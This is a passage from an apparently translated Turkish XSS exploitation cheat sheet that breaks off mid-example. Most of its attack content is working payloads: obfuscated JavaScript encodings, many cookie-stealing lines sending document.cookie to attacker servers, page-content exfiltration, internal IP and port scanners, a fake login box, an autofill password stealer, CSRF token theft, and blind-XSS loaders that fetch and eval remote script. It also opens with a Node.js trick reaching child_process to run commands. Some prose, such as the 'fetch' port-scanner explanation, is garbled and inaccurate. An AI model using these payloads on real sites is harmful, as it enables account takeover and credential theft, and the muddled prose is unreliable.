Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Obfuskasyon ve Gelişmiş Bypass
- Aynı sayfada farklı obfuskasyonlar: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Daha sofistike JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS yaygın payloadları
Birden fazla payload içerenler
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Çerezleri almak
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Eğer çerezde HTTPOnly bayrağı ayarlanmışsa, JavaScript'ten çerezlere erişemezsiniz. Ancak burada bu korumayı atlamak için bazı yollar bulunmaktadır, eğer yeterince şanslıysanız. {% endhint %}
Sayfa İçeriğini Çalma
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
İç IP'leri Bulma
Bir web uygulamasını hedef alırken, hedef sistemin iç ağdaki IP adreslerini bulmak önemli bir adımdır. Bu, hedef sistemin ağ altyapısını anlamak ve daha fazla saldırı vektörü keşfetmek için kullanılabilir.
İşte iç IP adreslerini bulmak için bazı teknikler:
1. DNS Rekabeti (DNS Rebinding)
DNS rekabeti, bir saldırganın hedef sisteme JavaScript kodu enjekte ederek hedefin iç ağdaki IP adreslerini elde etmesini sağlar. Bu teknik, saldırganın bir sunucu üzerinde DNS kayıtlarını değiştirerek hedefin iç ağdaki IP adreslerine erişmesine olanak tanır.
2. XSS (Cross-Site Scripting)
XSS saldırıları, bir saldırganın hedef web uygulamasına zararlı bir JavaScript kodu enjekte etmesini sağlar. Bu kod, hedefin iç ağdaki IP adreslerini elde etmek için kullanılabilir.
3. CSRF (Cross-Site Request Forgery)
CSRF saldırıları, bir saldırganın hedef kullanıcının tarayıcısında istenmeyen işlemler gerçekleştirmesini sağlar. Bu saldırı türü, hedefin iç ağdaki IP adreslerini elde etmek için kullanılabilir.
4. Hedefe Özgü Teknikler
Her hedef sistemin farklı olabileceğini unutmayın. İç IP adreslerini bulmak için hedefe özgü teknikler kullanmanız gerekebilir. Örneğin, hedef sistemin web sayfalarında veya sunucu yanıt başlıklarında iç IP adreslerini içeren bilgiler olabilir.
İç IP adreslerini bulmak, hedef sistemin ağ altyapısını anlamak ve daha fazla saldırı vektörü keşfetmek için önemli bir adımdır. Ancak, bu işlemi gerçekleştirirken yasalara ve etik kurallara uymak önemlidir.
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Port Tarayıcısı (getir)
Bu bölümde, hedef bir makinedeki açık portları tespit etmek için kullanılan bir port tarayıcısı olan fetch
yöntemini ele alacağız. fetch
yöntemi, hedef makineye HTTP isteği göndererek belirli bir portun açık olup olmadığını kontrol eder.
Kullanımı
Aşağıdaki komutu kullanarak fetch
yöntemini kullanabilirsiniz:
fetch <hedef_IP_adresi>:<port_numarası>
Örneğin, 192.168.1.10
IP adresine sahip bir makinedeki 80
numaralı portu taraymak için aşağıdaki komutu kullanabilirsiniz:
fetch 192.168.1.10:80
Bu komut, hedef makineye bir HTTP isteği göndererek 80
numaralı portun açık olup olmadığını kontrol edecektir.
Sonuçlar
fetch
yöntemi, hedef makinedeki belirtilen portun durumunu kontrol eder ve aşağıdaki sonuçları döndürür:
- Eğer port açıksa,
fetch
komutu200 OK
yanıtını döndürür. - Eğer port kapalıysa,
fetch
komutuConnection refused
hatasını döndürür. - Eğer port filtrelenmişse,
fetch
komutuConnection timed out
hatasını döndürür.
Önemli Notlar
fetch
yöntemi, sadece HTTP protokolünü destekler. Diğer protokoller için farklı yöntemler kullanmanız gerekebilir.- Port tarayıcısı olarak
fetch
yöntemini kullanırken, hedef makinenin güvenlik politikalarını ihlal etmemek için yasal izinlere sahip olduğunuzdan emin olun.
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Tarayıcısı (websockets)
Web soketleri kullanarak hedef sistemdeki açık portları taramak için aşağıdaki adımları izleyebilirsiniz:
- Web soketlerini destekleyen bir tarayıcı kullanarak hedef web uygulamasına erişin.
- Web uygulamasının web soketlerini desteklediğinden emin olun.
- Web uygulamasının web soketlerini kullanarak port taramasına izin verdiğini doğrulayın.
- Web soketlerini kullanarak hedef sistemdeki portları taramak için bir JavaScript kodu yazın.
- JavaScript kodunu hedef web uygulamasında çalıştırın ve sonuçları alın.
Port taraması yaparken dikkatli olun ve yasal izinlerle yapın. Ayrıca, hedef sistemdeki port taraması aktivitesinin izlenebileceğini unutmayın.
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kısa süreler yanıt veren bir bağlantı noktasını gösterir Daha uzun süreler yanıt olmadığını gösterir.
Chrome'da yasaklanan bağlantı noktalarının listesini burada inceleyin ve Firefox'da burada.
Kimlik bilgilerini istemek için kutu
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Otomatik doldurma şifrelerinin yakalanması
Bir saldırgan, kullanıcıların tarayıcılarında kaydedilmiş otomatik doldurma şifrelerini ele geçirebilir. Bu, Cross-Site Scripting (XSS) saldırısı kullanılarak gerçekleştirilebilir. XSS saldırısıyla, saldırgan zararlı bir kodu hedeflenen web sitesine enjekte eder ve kullanıcılar bu kodu çalıştırdığında, tarayıcılarındaki otomatik doldurma özelliği aracılığıyla şifrelerini ele geçirebilir.
Bu saldırıyı gerçekleştirmek için, saldırgan hedeflenen web sitesinde bir XSS açığı bulmalı ve zararlı bir kodu enjekte etmelidir. Bu kod, kullanıcıların tarayıcılarındaki otomatik doldurma özelliğini tetikleyecek ve şifreleri saldırgana iletecektir.
Saldırgan, ele geçirilen şifreleri kötü niyetli amaçlar için kullanabilir veya başka bir saldırıda kullanmak üzere saklayabilir. Bu nedenle, kullanıcıların tarayıcılarında otomatik doldurma özelliğini kullanırken dikkatli olmaları önemlidir.
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Herhangi bir veri parolası alanına girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir, istemci kaydedilmiş bir parola seçse bile ve hiçbir şey yazmasa bile kimlik bilgileri çalınır.
Anahtar Kaydedici
Sadece github'da arama yaparak birkaç farklı tane buldum:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Ayrıca metasploit
http_javascript_keylogger
kullanabilirsiniz.
CSRF Tokenlarını Çalma
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage mesajlarını çalma
Bir web uygulamasında, PostMessage API'sini kullanarak iletişim kurulan bir iframe bulunabilir. Bu iframe, ana sayfaya mesaj gönderebilir ve ana sayfa da bu mesajları dinleyebilir. XSS saldırganları, bu iletişimi kötüye kullanarak PostMessage mesajlarını çalabilirler.
Bu saldırıyı gerçekleştirmek için, saldırgan iframe içerisindeki JavaScript kodunu manipüle eder ve ana sayfaya mesaj gönderir. Bu mesajlar, saldırganın kontrolündeki bir sunucuya gönderilir ve saldırgan bu mesajları ele geçirir.
Bu saldırıyı önlemek için, web uygulamaları güvenli bir şekilde PostMessage API'sini kullanmalıdır. İletişim kurulan iframe'in kaynağı doğrulanmalı ve güvenli bir kök kaynağa sahip olmalıdır. Ayrıca, mesajların içeriği dikkatlice doğrulanmalı ve güvenli bir şekilde işlenmelidir.
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Servis İşçilerini Kötüye Kullanma
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Shadow DOM'a Erişim
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Poliglotlar
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Kör XSS yükleri
Ayrıca şunu da kullanabilirsiniz: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Gizli İçeriğe Erişim
Bu yazıda belirtildiği gibi, bazı değerler JS'den kaybolmuş olsa bile, bunları farklı nesnelerin JS özniteliklerinde bulmak hala mümkündür. Örneğin, bir REGEX girişi, regex'in giriş değeri kaldırıldıktan sonra bile bulunabilir:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Brute-Force List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
XSS Diğer Zafiyetleri Kötüye Kullanma
Markdown'da XSS
Markdown kodu enjekte edebilir misiniz? Belki XSS elde edebilirsiniz! Kontrol edin:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS ile SSRF
Önbellek kullanan bir site üzerinde XSS elde ettiniz mi? Bu payload ile Edge Side Include Injection kullanarak SSRF'ye yükseltmeyi deneyin:
<esi:include src="http://yoursite.com/capture" />
Bunu, çerez kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını atlatmak için kullanabilirsiniz!
Bu teknik hakkında daha fazla bilgi için buraya bakın: XSLT.
Dinamik oluşturulan PDF'de XSS
Bir web sayfası, kullanıcı tarafından kontrol edilen girişleri kullanarak bir PDF oluşturuyorsa, PDF oluşturan botu kandırmayı deneyebilir ve PDF oluşturan botun keyfi JS kodunu yürütmesini sağlayabilirsiniz.
Yani, PDF oluşturan bot, bazı HTML etiketlerini bulursa, onları yorumlayacak ve bu davranışı suistimal ederek bir Sunucu XSS oluşturabilirsiniz.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
HTML etiketleri enjekte edemiyorsanız, PDF verilerini enjekte etmeyi denemek faydalı olabilir:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
Amp4Email'de XSS
Mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayan AMP, hız ve güvenlik üzerinde durarak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. AMP bileşenleri aracılığıyla çeşitli özellikler için bir dizi bileşeni destekler.
AMP for Email formatı, belirli AMP bileşenlerini e-postalara genişletir ve alıcıların e-postaları içinde doğrudan içerikle etkileşimde bulunmalarını sağlar.
Örnek Gmail'de Amp4Email'de XSS yazısı.
Dosya yüklemeyle XSS (svg)
Aşağıdaki gibi bir dosyayı (http://ghostlulz.com/xss-svg/ adresinden) bir resim olarak yükleyin:
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
